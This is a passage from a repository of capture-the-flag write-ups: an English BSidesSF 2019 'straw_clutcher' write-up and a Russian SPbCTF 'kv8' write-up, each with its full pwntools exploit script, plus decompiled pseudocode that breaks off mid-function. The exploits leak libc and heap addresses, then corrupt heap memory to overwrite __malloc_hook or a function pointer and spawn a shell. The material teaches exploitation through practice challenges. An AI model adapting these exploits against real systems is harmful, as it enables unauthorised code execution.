93 | Let's consider some `file` structure. To create a fake chunk we can overwrite lsb of `file->prev_file` to point to `file->data` which we control without any constraints. To do this, we need that lsb of `file->data` will satisfy constraints on a filename.
94 |
95 | If everything is okay, then we can produce typical fastbin attack with overwriting `__malloc_hook`.
96 |
97 | ## Exploit
98 |
99 | The final exploit is as follows (I added some comments to make it more readable):
100 |
101 | ```python
102 | from pwn import *
103 |
104 |
105 | def main():
106 | libc = ELF('./libc-2.23.so')
107 | pc = remote('straw-clutcher-717c5694.challenges.bsidessf.net', 4321)
108 |
109 | pc.sendline('PUT AAA.EXE 10')
110 | pc.send('A' * 10)
111 |
112 | pc.sendline('RENAME AAA.EXE BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.EAA')
113 | pc.sendline('PUT CCC.EXE 128')
114 | pc.send('C' * 128)
115 | pc.sendline('PUT DDD.EXE 10')
116 | pc.send('D' * 10)
117 |
118 | pc.sendline('DELE CCC.EXE')
119 |
120 | # overwriting file->file_size with 0x4141
121 | pc.sendline('RETR BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.EAA')
122 | pc.recvuntil('200 File download started. Prepare to get 16705 bytes')
123 | data = pc.recvuntil('Data transferred!')
124 | good_slice = data[100:209]
125 |
126 | libc_base = u64(good_slice[-24:-16]) - 0x3c4b78
127 | __malloc_hook = libc_base + libc.symbols['__malloc_hook']
128 | __free_hook = libc_base + libc.symbols['__free_hook']
129 | heap = u64(good_slice[-48:-40])
130 |
131 | log.success('libc base @ ' + hex(libc_base))
132 | log.success('heap @ ' + hex(heap))
133 | log.success('__free_hook @ ' + hex(__free_hook))
134 | log.success('__malloc_hook @ ' + hex(__malloc_hook))
135 |
136 | #################################################
137 | #################################################
138 |
139 | # creating a fake file structure chunk
140 | pc.sendline('PUT EEE.EXE {}'.format(0x48))
141 | pc.send(p64(0x4848482e484848) + p64(0) * 4 + p64(0x68) + \
142 | p64(heap + 0x250) + p64(0) + p64(heap + 0x190)) # -0x23
143 |
144 |
145 | # make two freed 0x70 chunks
146 | pc.sendline('PUT TTT.TTT {}'.format(0x68))
147 | pc.send('T' * 0x68)
148 | pc.sendline('PUT KKK.KKK {}'.format(0x68))
149 | pc.send('K' * 0x68)
150 | pc.sendline('DELE TTT.TTT')
151 | pc.sendline('DELE KKK.KKK')
152 |
153 | # overwrite lsb of file->prev_file
154 | pc.sendline('RENAME EEE.EXE ' + 'E' * 7*8 + 'EEEEE.EXP')
155 |
156 | # and clear already freed 0x70 chunk
157 | pc.sendline('DELE HHH.HHH')
158 |
159 | pc.sendline('PUT LLL.LLL {}'.format(0x68))
160 | pc.send(p64(__malloc_hook - 0x13) + 'K' * 0x60)
161 | pc.sendline('PUT MMM.MMM {}'.format(0x68))
162 | pc.send('M' * 0x68)
163 | pc.sendline('PUT NNN.NNN {}'.format(0x68))
164 | pc.send('N' * 0x68)
165 |
166 | one_gadget = 0x4526a
167 |
168 | # allocate file->data above of __malloc_hook
169 | # and write one_gadget into this
170 | pc.sendline('PUT OOO.OOO {}'.format(0x68))
171 | pc.send('AAA' + p64(libc_base + one_gadget) + 'O' * (0x60-3))
172 |
173 | # trigger malloc
174 | pc.sendline('PUT JJJ.JJJ 8')
175 |
176 | pc.interactive()
177 |
178 |
179 | if __name__ == '__main__':
180 | main()
181 | ```
182 |
183 | After running this exploit we've got:
184 |
185 |
186 |
187 |
188 |
189 | > Flag: CTF{hoisting_the_flag}
190 |
191 | Flag is not really interesting, but the challenge was pretty good!
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/straw_clutcher/exploit.py:
--------------------------------------------------------------------------------
1 | from pwn import *
2 |
3 |
4 | def main():
5 | libc = ELF('./libc-2.23.so')
6 | pc = remote('straw-clutcher-717c5694.challenges.bsidessf.net', 4321)
7 |
8 | pc.sendline('PUT AAA.EXE 10')
9 | pc.send('A' * 10)
10 |
11 | pc.sendline('RENAME AAA.EXE BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.EAA')
12 | pc.sendline('PUT CCC.EXE 128')
13 | pc.send('C' * 128)
14 | pc.sendline('PUT DDD.EXE 10')
15 | pc.send('D' * 10)
16 |
17 | pc.sendline('DELE CCC.EXE')
18 |
19 | pc.sendline('RETR BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.EAA')
20 | pc.recvuntil('200 File download started. Prepare to get 16705 bytes')
21 | data = pc.recvuntil('Data transferred!')
22 | good_slice = data[100:209]
23 |
24 | libc_base = u64(good_slice[-24:-16]) - 0x3c4b78
25 | __malloc_hook = libc_base + libc.symbols['__malloc_hook']
26 | __free_hook = libc_base + libc.symbols['__free_hook']
27 | heap = u64(good_slice[-48:-40])
28 |
29 | log.success('libc base @ ' + hex(libc_base))
30 | log.success('heap @ ' + hex(heap))
31 | log.success('__free_hook @ ' + hex(__free_hook))
32 | log.success('__malloc_hook @ ' + hex(__malloc_hook))
33 |
34 | #################################################
35 | #################################################
36 |
37 | pc.sendline('PUT EEE.EXE {}'.format(0x48))
38 | pc.send(p64(0x4848482e484848) + p64(0) * 4 + p64(0x68) + \
39 | p64(heap + 0x250) + p64(0) + p64(heap + 0x190)) # -0x23
40 |
41 |
42 | pc.sendline('PUT TTT.TTT {}'.format(0x68))
43 | pc.send('T' * 0x68)
44 | pc.sendline('PUT KKK.KKK {}'.format(0x68))
45 | pc.send('K' * 0x68)
46 | pc.sendline('DELE TTT.TTT')
47 | pc.sendline('DELE KKK.KKK')
48 |
49 | pc.sendline('RENAME EEE.EXE ' + 'E' * 7*8 + 'EEEEE.EXP')
50 | pc.sendline('DELE HHH.HHH')
51 |
52 | pc.sendline('PUT LLL.LLL {}'.format(0x68))
53 | pc.send(p64(__malloc_hook - 0x13) + 'K' * 0x60)
54 | pc.sendline('PUT MMM.MMM {}'.format(0x68))
55 | pc.send('M' * 0x68)
56 | pc.sendline('PUT NNN.NNN {}'.format(0x68))
57 | pc.send('N' * 0x68)
58 |
59 | one_gadget = 0x4526a
60 |
61 | pc.sendline('PUT OOO.OOO {}'.format(0x68))
62 | pc.send('AAA' + p64(libc_base + one_gadget) + 'O' * (0x60-3))
63 |
64 | pc.sendline('PUT JJJ.JJJ 8')
65 |
66 | pc.interactive()
67 |
68 |
69 | if __name__ == '__main__':
70 | main()
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/straw_clutcher/libc-2.23.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/straw_clutcher/libc-2.23.so
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/straw_clutcher/screens/beginning.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/straw_clutcher/screens/beginning.png
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/straw_clutcher/screens/final_shell.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/straw_clutcher/screens/final_shell.png
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/straw_clutcher/screens/vuln.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/straw_clutcher/screens/vuln.png
--------------------------------------------------------------------------------
/2019/BSidesSF 2019 CTF/straw_clutcher/straw-clutcher:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/BSidesSF 2019 CTF/straw_clutcher/straw-clutcher
--------------------------------------------------------------------------------
/2019/SPbCTF/kv8/README.md:
--------------------------------------------------------------------------------
1 | # SPbCTF training by fargate
2 |
3 | ## kv8 service
4 |
5 | ## Solution
6 |
7 | *English version TBA*
8 |
9 | Сервис состоял из одного бинарного файла `kv8`, посмотрим что на него говорит `file`
10 |
11 | ```
12 | $ file kv8
13 | kv8: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=09549d5175bc8e6f1c8dc3dcaa1c45eab655206b, not stripped
14 | ```
15 |
16 | ## Reversing the binary
17 |
18 | Сначала рассмотрим общую функциональность, которую из себя представляет `kv8`. Вот файлик с [псевдокодом](./pseudocode.c) для тех, у кого нету под рукой IDA.
19 |
20 | В данном сервисе использовалась [libc-2.28.so](./libc-2.28.so)
21 |
22 | ### Общие слова
23 |
24 | Бинарь 6 раз у нас читает реквесты и потом вырубается. Чтение реквеста начинается с чтения хедера `read_heder`. В этой функции мы вводим 16 байт:
25 |
26 | ```
27 | 8 bytes 8 bytes
28 | | cmd_option | buf_size |
29 | ```
30 |
31 | Происходят проверки на то, что `0 <= cmd_options <= 5` и `0 <= buf_size <= 0x400`.
32 |
33 | Затем вызывается один из обработчиков `handlers[cmd_option](cmd_option, buf_size)`. Соответственно, `handlers` - это некий массив обработчиков:
34 |
35 | ```
36 | handlers
37 | .data:203020 dq offset cmd_auth
38 | .data:203028 dq offset cmd_head
39 | .data:203030 dq offset cmd_put
40 | .data:203038 dq offset cmd_get
41 | .data:203040 dq offset ping
42 | .data:203048 dq offset cmd_quit
43 | ```
44 |
45 | Таким образом, у нас перед глазами находится вся функциональность рассматриваемого сервиса. Исследуем каждую функцию по отдельности, ниже будут приведены комментарии по каждой из них
46 |
47 | ### cmd_auth
48 |
49 | Тут есть подозрительный `alloca`, но так как `0 <= buf_size <= 0x400`, то никаких хаков тут сделать не получится. Здесь создаётся локальный буффер на стеке с помощью `alloca`. в который затем считываются данные. Данные эти выглядят так:
50 |
51 | ```
52 | 1 byte uid_len bytes
53 | | uid_len | . . . uid . . . |
54 | ```
55 |
56 | Если `uid_len + 1 <= 0x80`, то мы аллоцируем два чанка на хипе под `struct user_t` и `uid` буффер.
57 |
58 | ```c
59 | struct user_t {
60 | bool auth; /* 8 bytes */
61 | char * uid_ptr;
62 | size_t (*dealloc_func)(void *ptr); /* function pointer */
63 | }
64 | ```
65 |
66 | Затем ставим `user->auth = 1`, копируем данные из локального буффера `uid` в чанк `user->uid`, и ставим `dealloc_func` равным `free`.
67 |
68 | После всех действий присваиваем указатель на чанк `user` в структуру `root_ctx` (её поля я описывать не буду, так как выкинул листочек, на котором писал, а восстанавливать лень).
69 |
70 | ### cmd_head
71 |
72 | Сперва проверяется, что пользователь должен быть авторизован (почему-то два раза, но это не особо влияет на ход решения). Выделяется локальный буффер под данные (тем же `alloca`), и в этот буффер вводится строчка, которая должна удволетворять регулярке `^[a-zA-Z0-9\-]+$`
73 |
74 | Если строчка всё же удволетворяет условиям, то мы пытаемся открыть файл с именем, которое формируется так:
75 |
76 | ```
77 | filename = "data/{}_{}".format(root_ctx->user->uid, stdin_string)
78 | ```
79 |
80 | Если открывается, то возвращается код ответа 200, иначе 404. То есть, эта функция проверяет, присутствует ли такой файл на сервере.
81 |
82 | ### cmd_put
83 |
84 | Как видно из названия, эта функция просто кладёт файл на сервер и записывает в него указанные данные. Имя файла генерируется по примеру выше. Детально разбирать эту функцию я не буду, можете почитать [псевдокод](./pseudocode.c). Если прям очень нужно её описать комментами, то дайте мне знать.
85 |
86 | ### cmd_get
87 |
88 | Возвращает данные по указаному имени файла. Имя файла, как и прежде, формируется из `root_ctx->user->uid` и введённой строчки
89 |
90 | ### ping
91 |
92 | Это функция поинтереснее остальных, так как никак особо не влияет на функционал, значит чексистем юзать её для проверки флагов, скорее всего, не будет (от чекера, конечно, зависит). Что же происходит внутри?
93 |
94 | Мы вводим байты указанного `buf_size` размера, после этого бинарь выводит три строчки:
95 |
96 | ```c
97 | writen(idx, idx_len); // our entered string
98 | writen(pong, pond_len); // " pong " string
99 | writen(root_ctx, final_size); // root_ctx string
100 | ```
101 |
102 | К этой функции мы вернёмся позже
103 |
104 | ### cmd_quit
105 |
106 | И последняя пользовательская функция, в котороый мы производим logout текущего пользователя. Проверяем, что `root_ctx->user != NULL` и после этого чистим чанки:
107 |
108 | ```c
109 | free(root_ctx->user->uid);
110 | free(root_ctx->user);
111 | ```
112 |
113 | ## Exploitation
114 |
115 | Что ж, где-то тут должны быть уязвимости, давайте их искать.
116 |
117 | ### cmd_quit / uaf + double free
118 |
119 | Начнём с `cmd_quit`, так как она больше всех бросается в глаза. В ней мы чистим чанки `root_ctx->user->uid` и `root_ctx->user`, но не обнуляем соответствующие поля. В нормальном варианте эта функция должна выглядеть как-то так:
120 |
121 | ```c
122 | void cmd_quit(size_t cmd, size_t buf_size)
123 | {
124 | struct user_t *user;
125 | size_t (__fastcall *dealloc)(size_t);
126 | size_t goodbye_len;
127 |
128 | if ( buf_size )
129 | __assert_fail("header.l == 0", "/vagrant/spbctf/fargate-training/kv8/main.c", 0x93u, "cmd_quit");
130 | goodbye_len = strlen("goodby");
131 | write_header(200, goodbye_len);
132 | writen("goodby", goodbye_len);
133 | user = root_ctx->user;
134 | if ( user ) {
135 | dealloc = user->dealloc_func;
136 |
137 | dealloc(user->uid);
138 | user->uid = NULL;
139 | user->auth = 0;
140 |
141 | dealloc(root_ctx->user);
142 | root_ctx->user = NULL;
143 | }
144 | }
145 | ```
146 |
147 | Но с тем вариантом, который есть у нас, мы можем использовать уже почищенные чанки в других пользовательских функциях. А так же почистить те же самые чанки ещё раз. Таким образом, эта функция даёт **Use-After-Free** и **Double Free** баги.
148 |
149 | Небольшой спойлер: во время CTFа я не смог их раскрутить, да и вообще считаю, что в данном сервисе их невозможно раскрутить до чего-то вменяемого. Почему я так считаю можете спросить у меня в [телеге](https://t.me/konata_alive).
150 |
151 | ### ping / leaking addresses
152 |
153 | Раз предыдущая функция ничего существенного не дала, то давайте посмотрим на ту самую пользовательскую функцию, которую чексистем никак юзать не стала бы (зависит от чекера, конечно).
154 |
155 | Ниже я приложу кусок псевдокода, по которому будем ориентироваться:
156 |
157 | ```c
158 | unsigned __int64 __fastcall ping(__int64 cmd, unsigned __int64 buf_size)
159 | {
160 | void *v2; // rsp
161 | unsigned __int64 __buf_size; // rbx
162 | size_t pos; // rbx
163 | size_t root_len; // rax
164 | unsigned __int64 idx_len; // rax
165 | unsigned __int64 pond_len; // rax
166 | size_t idx_len_; // rax
167 | __int64 l2; // rbx
168 | size_t pong_len; // rax
169 | __int64 _cmd; // [rsp+0h] [rbp-60h]
170 | unsigned __int64 _buf_size; // [rsp+8h] [rbp-58h]
171 | unsigned __int64 v14; // [rsp+10h] [rbp-50h]
172 | char *idx; // [rsp+18h] [rbp-48h]
173 | char *pong; // [rsp+20h] [rbp-40h]
174 | size_t str_len; // [rsp+28h] [rbp-38h]
175 | __int64 v18; // [rsp+30h] [rbp-30h]
176 | size_t v19; // [rsp+38h] [rbp-28h]
177 | unsigned __int64 canary; // [rsp+48h] [rbp-18h]
178 |
179 | _cmd = cmd;
180 | _buf_size = buf_size;
181 | canary = __readfsqword(0x28u);
182 | if ( !buf_size || _buf_size > 0x400 )
183 | __assert_fail(
184 | "header.l > 0 && header.l <= TLV_MAX_LEN",
185 | "/vagrant/spbctf/fargate-training/kv8/main.c",
186 | 0xA4u,
187 | "ping");
188 | v14 = _buf_size - 1;
189 | v2 = alloca(16 * ((_buf_size + 15) / 0x10));
190 | idx = &_cmd;
191 | readn(&_cmd, _buf_size);
192 | idx[_buf_size - 1] = 0;
193 | pong = " pong ";
194 | __buf_size = _buf_size;
195 | pos = strlen(" pong ") + __buf_size;
196 | root_len = strlen(root_ctx);
197 | str_len = pos + root_len;
198 | v18 = 200LL;
199 | v19 = pos + root_len;
200 | write_header(200LL, pos + root_len);
201 | idx_len = strlen(idx);
202 | writen(idx, idx_len);
203 | pond_len = strlen(pong);
204 | writen(pong, pond_len);
205 | idx_len_ = strlen(idx);
206 | l2 = str_len - idx_len_;
207 | pong_len = strlen(pong);
208 | writen(root_ctx, l2 - pong_len);
209 | return __readfsqword(0x28u) ^ canary;
210 | }
211 | ```
212 |
213 | Итак, давайте смотреть как формируется `final_size` aka `l2 - pong_len` (простите за такой псевдокод без типов):
214 |
215 | ```c
216 | __buf_size = _buf_size;
217 | pos = strlen(" pong ") + __buf_size;
218 | root_len = strlen(root_ctx);
219 | str_len = pos + root_len;
220 | idx_len_ = strlen(idx);
221 | l2 = str_len - idx_len_;
222 | final_size = l2 - pong_len;
223 | ```
224 |
225 | Что, если мы укажем `buf_size = 0x84`, а `idx` будет выглядеть так:
226 |
227 | ```c
228 | idx = "AAAA" + "\x00" * 0x80
229 | ```
230 |
231 | Тогда давайте посчитаем `final_len`:
232 |
233 | ```c
234 | __buf_size = _buf_size; // 0x84
235 | pos = strlen(" pong ") + __buf_size; // 0x8a
236 | root_len = strlen(root_ctx); // 0x10
237 | str_len = pos + root_len; // 0x9a
238 | idx_len_ = strlen(idx); // 0x4
239 | l2 = str_len - idx_len_; // 0x96
240 | final_size = l2 - pong_len; // 0x90
241 | ```
242 |
243 | А что это мы такое получили? Мы получили значение больше `0x10`! Это значит, что мы выводим не только строчку `kv8 version 4242`, но и ещё `0x80` байтов после неё! Таким образом, **мы получаем адреса heap и libc** (так как структура `root_ctx` хранит в себе указатели на heap и на функцию exit, которая часть libc).
244 |
245 |
246 | ### cmd_auth / heap overflow
247 |
248 | Круто, такми образом мы слили очень полезные адреса. Но как же нам что-то покарраптить?
249 |
250 | Взглянем ещё раз на функцию `cmd_auth`, а именно на проверку
251 |
252 | ```c
253 | if ( (msg_len + 1) <= 0x80u ) {
254 | // create user
255 | // . . .
256 | }
257 | ```
258 |
259 | `msg_len` длиной в 1 байт, и мы его контролируем. Если указать `msg_len = 0xff`, то при инкрементировании тип переполнится и `msg_len` станет равным 0, и проверка пройдёт успешно. Значит, после создания чанка `uid` и `user` мы сможем перезаписать чанк пользователя, а вместе с ним и поля `user->dealloc_func` с `user->uid`.
260 |
261 | Вспомним теперь, что в `cmd_quit` вызывается `user->dealloc_func(user->uid)`. То есть, если в `user->dealloc_func` положить `system`, а в `user->uid` указатель на контролируемую нами строчку (например, `"/bin/sh"`), то мы отспавним шелл.
262 |
263 | ## Exploit
264 |
265 | Это не конечный вариант, который мы использовали на самом контесте, но зато можете потестить его локально (сорян за говнокод бтв)
266 |
267 | ```python
268 | #!/usr/bin/python2
269 |
270 | import sys
271 |
272 | from pwn import *
273 |
274 |
275 | def cmd_auth(pc, msg_len, uid):
276 | pc.send(msg_len)
277 | pc.send(uid)
278 |
279 |
280 | def cmd_head(pc, idx):
281 | pc.send(idx)
282 |
283 |
284 | def cmd_put(pc, idx_len, data_len, idx, data):
285 | pc.send(idx_len)
286 | pc.send(data_len)
287 | pc.send(idx)
288 | pc.send(data)
289 |
290 |
291 | def cmd_get(pc, idx):
292 | pc.send(idx)
293 |
294 |
295 | def cmd_ping(pc, data):
296 | pc.send(data)
297 |
298 |
299 | def cmd_quit(pc):
300 | pass
301 |
302 |
303 | CMD = {
304 | cmd_auth: 0,
305 | cmd_head: 1,
306 | cmd_put: 2,
307 | cmd_get: 3,
308 | cmd_ping: 4,
309 | cmd_quit: 5
310 | }
311 |
312 |
313 | def cmd_func(pc, cmd, buf_size, *args):
314 | pc.send(p64(CMD[cmd]))
315 | pc.send(p64(buf_size))
316 | cmd(pc, *args)
317 |
318 |
319 | def main(pc):
320 | binsh = 0x181519
321 | system = 0x44c50
322 |
323 | cmd_func(pc, cmd_ping, 0x44, 'ping' + '\x00' * 0x40)
324 | resp = ''
325 | while len(resp) != 0x60:
326 | resp += pc.recv(0x60)
327 |
328 | libc_base = u64(resp[74:82]) - 0x39fb0
329 | heap_base = u64(resp[82:90]) - 0x10
330 |
331 | log.success('heap base @ ' + hex(heap_base))
332 | log.success('libc base @ ' + hex(libc_base))
333 |
334 | cmd = '/bin/sh\x00'
335 |
336 | cmd_func(pc, cmd_auth, 0xa9, p8(0xff), cmd + '\x01' * (0x88 - len(cmd)) + \
337 | p64(0x120) + p64(1) + p64(heap_base + 0x60) + \
338 | p64(libc_base + system))
339 |
340 | cmd_func(pc, cmd_quit, 0)
341 |
342 | pc.interactive()
343 |
344 |
345 | if __name__ == '__main__':
346 | while True:
347 | pc = remote(sys.argv[1], 4242)
348 | try:
349 | main(pc)
350 | break
351 | except Exception:
352 | pass
353 | finally:
354 | pc.close()
355 | ```
356 |
357 | Спасибо `@korniltsev` за крутой сервис!
358 |
359 | 
360 |
361 |
362 |
363 |
--------------------------------------------------------------------------------
/2019/SPbCTF/kv8/exploit.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python2
2 |
3 | import sys
4 |
5 | from pwn import *
6 |
7 |
8 | def cmd_auth(pc, msg_len, uid):
9 | pc.send(msg_len)
10 | pc.send(uid)
11 |
12 |
13 | def cmd_head(pc, idx):
14 | pc.send(idx)
15 |
16 |
17 | def cmd_put(pc, idx_len, data_len, idx, data):
18 | pc.send(idx_len)
19 | pc.send(data_len)
20 | pc.send(idx)
21 | pc.send(data)
22 |
23 |
24 | def cmd_get(pc, idx):
25 | pc.send(idx)
26 |
27 |
28 | def cmd_ping(pc, data):
29 | pc.send(data)
30 |
31 |
32 | def cmd_quit(pc):
33 | pass
34 |
35 |
36 | CMD = {
37 | cmd_auth: 0,
38 | cmd_head: 1,
39 | cmd_put: 2,
40 | cmd_get: 3,
41 | cmd_ping: 4,
42 | cmd_quit: 5
43 | }
44 |
45 |
46 | def cmd_func(pc, cmd, buf_size, *args):
47 | pc.send(p64(CMD[cmd]))
48 | pc.send(p64(buf_size))
49 | cmd(pc, *args)
50 |
51 |
52 | def main(pc):
53 | binsh = 0x181519
54 | system = 0x44c50
55 |
56 | cmd_func(pc, cmd_ping, 0x44, 'ping' + '\x00' * 0x40)
57 | resp = ''
58 | while len(resp) != 0x60:
59 | resp += pc.recv(0x60)
60 |
61 | libc_base = u64(resp[74:82]) - 0x39fb0
62 | heap_base = u64(resp[82:90]) - 0x10
63 |
64 | log.success('heap base @ ' + hex(heap_base))
65 | log.success('libc base @ ' + hex(libc_base))
66 |
67 | cmd = '/bin/sh\x00'
68 |
69 | cmd_func(pc, cmd_auth, 0xa9, p8(0xff), cmd + '\x01' * (0x88 - len(cmd)) + \
70 | p64(0x120) + p64(1) + p64(heap_base + 0x60) + \
71 | p64(libc_base + system))
72 |
73 | cmd_func(pc, cmd_quit, 0)
74 |
75 | pc.interactive()
76 |
77 |
78 | if __name__ == '__main__':
79 | while True:
80 | pc = remote(sys.argv[1], 4242)
81 | try:
82 | main(pc)
83 | break
84 | except Exception:
85 | pass
86 | finally:
87 | pc.close()
--------------------------------------------------------------------------------
/2019/SPbCTF/kv8/kv8:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/SPbCTF/kv8/kv8
--------------------------------------------------------------------------------
/2019/SPbCTF/kv8/libc-2.28.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/konatabrk/ctf-writeups/472ed0288985b8ff26333f99ed85f3f407598fee/2019/SPbCTF/kv8/libc-2.28.so
--------------------------------------------------------------------------------
/2019/SPbCTF/kv8/pseudocode.c:
--------------------------------------------------------------------------------
1 | unsigned __int64 __fastcall
2 | cmd_auth(__int64 cmd, unsigned __int64 buf_size)
3 | {
4 | void *local_buf; // rsp
5 | __int64 _local_buf; // [rsp+0h] [rbp-70h]
6 | unsigned __int64 v5; // [rsp+8h] [rbp-68h]
7 | unsigned __int8 msg_len; // [rsp+15h] [rbp-5Bh]
8 | unsigned __int8 size; // [rsp+16h] [rbp-5Ah]
9 | char first_byte_plus_one; // [rsp+17h] [rbp-59h]
10 | unsigned __int64 v9; // [rsp+18h] [rbp-58h]
11 | unsigned __int8 *__local_buf; // [rsp+20h] [rbp-50h]
12 | unsigned __int8 *___local_buf; // [rsp+28h] [rbp-48h]
13 | void *uid; // [rsp+30h] [rbp-40h]
14 | __int64 user; // [rsp+38h] [rbp-38h]
15 | __int64 resp_code; // [rsp+40h] [rbp-30h]
16 | __int64 v15; // [rsp+48h] [rbp-28h]
17 | unsigned __int64 canary; // [rsp+58h] [rbp-18h]
18 |
19 | _local_buf = cmd;
20 | v5 = buf_size;
21 | canary = __readfsqword(0x28u);
22 | v9 = buf_size - 1;
23 | local_buf = alloca(16 * ((buf_size + 15) / 16));
24 | __local_buf = &_local_buf;
25 | readn(&_local_buf, buf_size);
26 | ___local_buf = __local_buf;
27 | msg_len = *__local_buf;
28 | size = 0x80u;
29 | first_byte_plus_one = msg_len + 1;
30 | if ( (msg_len + 1) <= 0x80u )
31 | {
32 | uid = allocator_alloc(size);
33 | user = allocator_alloc(0x118LL);
34 | *user = 1;
35 | *(user + 8) = uid;
36 | *(user + 16) = allocator_dealloc;
37 | memcpy(uid, ___local_buf + 1, msg_len);
38 | *(uid + msg_len) = 0;
39 | *(root_ctx + 5) = user;
40 | resp_code = 200LL;
41 | v15 = 0LL;
42 | write_header(200LL, 0LL);
43 | }
44 | else
45 | {
46 | firfirfir("auth message too big");
47 | }
48 | return __readfsqword(0x28u) ^ canary;
49 | }
50 |
51 | unsigned __int64 __fastcall
52 | cmd_head(__int64 cmd, unsigned __int64 buf_size)
53 | {
54 | void *v2; // rsp
55 | __int64 _cmd; // [rsp+0h] [rbp-1020h]
56 | __int64 _buf_size; // [rsp+8h] [rbp-1018h]
57 | __int64 v6; // [rsp+18h] [rbp-1008h]
58 | void *idx; // [rsp+20h] [rbp-1000h]
59 | FILE *fp; // [rsp+28h] [rbp-FF8h]
60 | __int64 v9; // [rsp+30h] [rbp-FF0h]
61 | __int64 v10; // [rsp+38h] [rbp-FE8h]
62 | char filename; // [rsp+40h] [rbp-FE0h]
63 | unsigned __int64 canary; // [rsp+FE8h] [rbp-38h]
64 |
65 | _cmd = cmd;
66 | _buf_size = buf_size;
67 | canary = __readfsqword(0x28u);
68 | check_auth();
69 | check_auth();
70 | v6 = _buf_size;
71 | v2 = alloca(16 * ((_buf_size + 16) / 16uLL));
72 | idx = &_cmd;
73 | bzero(&_cmd, _buf_size + 1);
74 | readn(idx, _buf_size);
75 | check_path_part(idx);
76 | snprintf(&filename, 0xFA0uLL, "data/%s_%s", *(*(root_ctx + 5) + 8LL), idx);
77 | fp = fopen(&filename, "rb");
78 | if ( fp )
79 | {
80 | fclose(fp);
81 | v9 = 200LL;
82 | v10 = 0LL;
83 | write_header(200LL, 0LL);
84 | }
85 | else
86 | {
87 | v9 = 404LL;
88 | v10 = 0LL;
89 | write_header(404LL, 0LL);
90 | }
91 | return __readfsqword(0x28u) ^ canary;
92 | }
93 |
94 | unsigned __int64 __fastcall
95 | cmd_put(__int64 cmd, unsigned __int64 buf_size)
96 | {
97 | void *local_buf; // rsp
98 | void *v3; // rsp
99 | void *v4; // rsp
100 | __int64 v6; // [rsp+0h] [rbp-1090h]
101 | __int64 v7; // [rsp+8h] [rbp-1088h]
102 | __int64 v8; // [rsp+10h] [rbp-1080h]
103 | __int64 v9; // [rsp+18h] [rbp-1078h]
104 | unsigned __int64 ___buf_size; // [rsp+20h] [rbp-1070h]
105 | __int64 v11; // [rsp+28h] [rbp-1068h]
106 | unsigned __int64 __buf_size; // [rsp+30h] [rbp-1060h]
107 | __int64 v13; // [rsp+38h] [rbp-1058h]
108 | __int64 _cmd; // [rsp+40h] [rbp-1050h]
109 | unsigned __int64 _buf_size; // [rsp+48h] [rbp-1048h]
110 | size_t lens; // [rsp+58h] [rbp-1038h]
111 | __int64 *__local_buf; // [rsp+60h] [rbp-1030h]
112 | unsigned __int64 _buf_size_minus_one; // [rsp+68h] [rbp-1028h]
113 | __int64 *___local_buf; // [rsp+70h] [rbp-1020h]
114 | __int64 v20; // [rsp+78h] [rbp-1018h]
115 | void *idx; // [rsp+80h] [rbp-1010h]
116 | __int64 v22; // [rsp+88h] [rbp-1008h]
117 | void *data; // [rsp+90h] [rbp-1000h]
118 | FILE *fp; // [rsp+98h] [rbp-FF8h]
119 | __int64 v25; // [rsp+A0h] [rbp-FF0h]
120 | __int64 v26; // [rsp+A8h] [rbp-FE8h]
121 | char filename; // [rsp+B0h] [rbp-FE0h]
122 | unsigned __int64 canary; // [rsp+1058h] [rbp-38h]
123 |
124 | _cmd = cmd;
125 | _buf_size = buf_size;
126 | canary = __readfsqword(0x28u);
127 | check_auth();
128 | _buf_size_minus_one = _buf_size - 1;
129 | __buf_size = _buf_size;
130 | v13 = 0LL;
131 | ___buf_size = _buf_size;
132 | v11 = 0LL;
133 | local_buf = alloca(16 * ((_buf_size + 15) / 16));
134 | __local_buf = &v6;
135 | if ( _buf_size <= 1 )
136 | firfirfir("too small");
137 | readn(__local_buf, _buf_size);
138 | ___local_buf = __local_buf;
139 | LODWORD(lens) = *__local_buf;
140 | HIDWORD(lens) = *(__local_buf + 1);
141 | if ( (lens + HIDWORD(lens) + 2) > _buf_size )
142 | firfirfir("too big");
143 | v20 = (lens + 1) - 1LL;
144 | v8 = (lens + 1);
145 | v9 = 0LL;
146 | v6 = (lens + 1);
147 | v7 = 0LL;
148 | v3 = alloca(16 * ((v8 + 15) / 0x10uLL));
149 | idx = &v6;
150 | v22 = (HIDWORD(lens) + 1) - 1LL;
151 | v4 = alloca(16 * (((HIDWORD(lens) + 1) + 15) / 0x10));
152 | data = &v6;
153 | memcpy(&v6, ___local_buf + 2, lens);
154 | *(idx + lens) = 0;
155 | memcpy(data, ___local_buf + lens + 2, HIDWORD(lens));
156 | *(data + HIDWORD(lens)) = 0;
157 | check_path_part(idx);
